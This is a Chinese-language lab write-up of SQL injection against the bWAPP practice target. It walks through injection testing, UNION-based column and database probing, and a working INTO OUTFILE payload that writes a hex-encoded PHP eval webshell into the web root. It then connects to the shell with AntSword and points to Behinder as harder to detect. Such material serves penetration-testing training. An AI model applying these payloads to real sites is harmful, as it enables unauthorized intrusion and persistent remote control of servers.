通過數據庫的into outfie可以寫入一句話木馬進行getshell,由於利用環境相對苛刻,實際環境不常見,現以bWAPP靶場作爲驗證環境。
選擇SQL Injection (GET/Select),安全等級選擇low,php版本爲5.2.17。
點擊go,URL中顯示movie參數,於是可直接在URL中構造數據。
注入點判斷
構造1 and 1=1,正常顯示
構造1 and 1=2,沒有數據顯示,於是可判斷movie處存在整數型注入。
字段數判斷(order by)
構造1 order by 8,顯示unknown column 8,可知有7列。
字段顯示順序確定(union)
構造-1 union select 1,2,3,4,5,6,7
獲取當前用戶名和數據庫名
可以判斷第2列和第5列是字符,那麼分別探測user(),database().
高級利用-getshell
如果想通過SQL注入getshell需要滿足:
條件1:網站的絕對路徑
條件2:gpc是關閉的
條件3:root用戶權限
條件4:secure_file_priv不爲NULL
使用into outfile寫入一句話木馬,構造payload:
2%20union%20select%201,2,3,4,5,6,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27D:/phpStudy/PHPTutorial/WWW/eval2.php%27
其中0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e是hex編碼後的
<?php eval($_POST['test'])?>
結果報錯,原因是單引號被轉義。
查詢資料發現低版本的php,magic_quotes_gpc默認是On,會對單引號加個反斜槓\處理,進行轉義。
下面爲php5.2.17版本的php.ini配置文件,可以看到gpc默認是開啓的。
於是提高php版本至5.4.45,成功導出php木馬,有個warning,不用管。
使用中國蟻劍連接,中國蟻劍比中國菜刀在高版本php上效果更好,曾試驗過在某些高版本php上菜刀無法連接。據說冰蠍(https://github.com/rebeyond/Behinder)在動態二進制加密webshell做得很好,不易於被檢測,也可以試試。